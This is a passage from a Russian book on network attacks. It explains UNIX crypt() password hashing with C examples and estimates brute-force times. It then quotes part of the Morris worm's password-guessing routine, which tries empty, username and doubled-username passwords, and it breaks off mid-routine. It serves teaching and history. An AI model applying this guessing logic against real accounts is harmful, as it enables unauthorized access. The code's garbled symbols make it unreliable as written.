Техника сетевых атак
Шрифт:
· extern char *crypt(const char*, const char*);
·
· int main(int argc, char *argv[])
· {
· printf("%s\n", crypt (argv[1],argv[2]));
· return 0;
·}
Прототип функции crypt выглядит следующим образом: char * crypt(char *passwd, char *solt), где passwd - пароль для шифрования, а solt - два символа привязки. При успешном выполнении функция возвращает 13-символьный хеш готовый к употреблению - два символа привязки и 11-символьная хеш-сумма пароля.
Теперь можно реализовать некое подобие подсистемы
· #include «stdlib.h»
· #include «stdio.h»
· #include «time.h»
·
· extern char *crypt(const char*, const char*);
·
· int main(int argc, char *argv[])
· {
· int a;
· char salt[3];
· FILE *f;
·
· salt[2]=0;
· srand((unsigned)time(NULL));
· for(a=0;a«2;a++) salt[a]=0x22+(rand % 0x40);
· if (!(f=fopen("passwd","w"))) return -1;
· fputs(crypt(argv[1], amp;salt[0]),f);
· fclose(f);
· return 0;
·}
Запустим откомпилированный пример и укажем любой произвольный пароль в командной строке, например, так: “crypt.auth.add.new.user.exe 12345”. Теперь заглянем в файл “passwd”. Его содержание должно быть следующим “^37DjO25th9ps” [101]. Очевидно, для проверки правильности вводимого пользователем пароля необходимо выделить первые два символа привязки, вызвать функцию crypt, передав ей в качестве первого параметра проверяемый пароль, а вторым - привязку, в данном случае “^3”, и после завершения работы сравнить полученный результат с “^37DjO25th9ps”. Если обе строки окажутся идентичны - пароль указан верно и, соответственно, наоборот. Все это реализовано в следующем примере, приведенном ниже (на диске он находится в файле “/SRC/crypt.auth.c”):
· #include «stdio.h»
· extern char *crypt(const char*, const char*);
·
· int main(int argc, char *argv[])
· {
· int a=1;
· char salt[2];
· char passwd[12];
· char *x;
· FILE *f;
·
· passwd[11]=0;
· while(a++) if (argv[1][a]«0x10) {argv[1][a]=0;break;}
·
· if (!(f=fopen("passwd","r"))) return -1;
· fgets( amp;salt[0],3,f);
· fgets( amp;passwd[0],12,f);
· fclose(f);
·
· if (strcmp( amp;passwd[0],crypt(argv[1], amp;salt[0])+2))
· printf("Wrong password!\n");
· else
· printf("Password ok\n");
·
· return 0;
·}
Запустим “crypt.auth.exe”, указав в командной строке пароль “12345”. Программа подтвердит правильность пароля. А теперь попробуем ввести другой
пароль, - и результат не заставит себя долго ждать.· crypt.auth.exe 12345
· Password ok
· crypt.auth.exe MyGoodPasswd
· Wrong password!
Время выполнения функции crypt на PDP-11 доходило до одной секунды. Поэтому, разработчики посчитали вполне достаточным ограничить длину пароля восьми символами. Попробуем посчитать какое время необходимо для перебора всех возможных комбинаций. Оно равно (nk– 0+ nk– 1+ nk– 2+ nk– 3+ nk– 4… nk)), где n - число допустимых символов пароля, а k - длина пароля. Для 96 читабельных символов латинского алфавита перебор пароля в худшем случае потребует около 7x1015 секунд или более двух сотен миллионов лет! Даже если пароль окажется состоящим из одних цифр (коих всего-навсего десять) в худшем случае его удастся найти за семь лет, а в среднем за срок вдвое меньший.
Другими словами, сломать UNIX в лоб не получится. Если пароли и в самом деле выбирались случайно, дело действительно обстояло именно так. Но в реальной жизни пользователи ведут себя не как на бумаге, и выбирают простые короткие пароли, часто совпадающие с их именем, никак не шифрующимся и хранящимся открытым текстом.
Первой нашумевшей атакой, использующей человеческую беспечность, был незабываемый вирус Морриса. Он распространялся от машины, к машине используя нехитрую методику, которую демонстрирует фрагмент исходного кода вируса, приведенный ниже (на прилагаемом к книге диске он по некоторым причинам отсутствует, однако это никому не помешает найти его в сети самостоятельно):
· /* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */
· static strat_1/* 0x61ca */
· {
· int cnt;
· char usrname[50], buf[50];
·
· for (cnt = 0; x27f2c amp; amp; cnt «50; x27f2c = x27f2c-»next)
· {
· /* Every tenth time look for "me mates" */
· if ((cnt % 10) - 0) other_sleep(0);
·
· /* Check for no passwd */
· // Проверка на пустой пароль
· if (try_passwd(x27f2c, XS("))) continue;/* 1722 */
·
· /* If the passwd is something like "*" punt matching it. */
· // Если вместо пароля стоит символ-джокер, пропускаем такой пароль
· if (strlen(x27f2c-»passwd)!= 13) continue;
·
· // Попробовать в качестве пароля подставить имя пользователя
· strncpy(usrname, x27f2c, sizeof(usrname)-1);
· usrname[sizeof(usrname)-1] = '\0';
· if (try_passwd(x27f2c, usrname)) continue;
·
· // Попробовать в качестве пароля двойное имя пользователя (т.е. для kpnc - kpnckpnc)
· sprintf(buf, XS("%.20s%.20s"), usrname, usrname);
· if (try_passwd(x27f2c, buf)) continue;
·
· // Попробовать в качестве пароля расширенное имя пользователя в нижнем регистре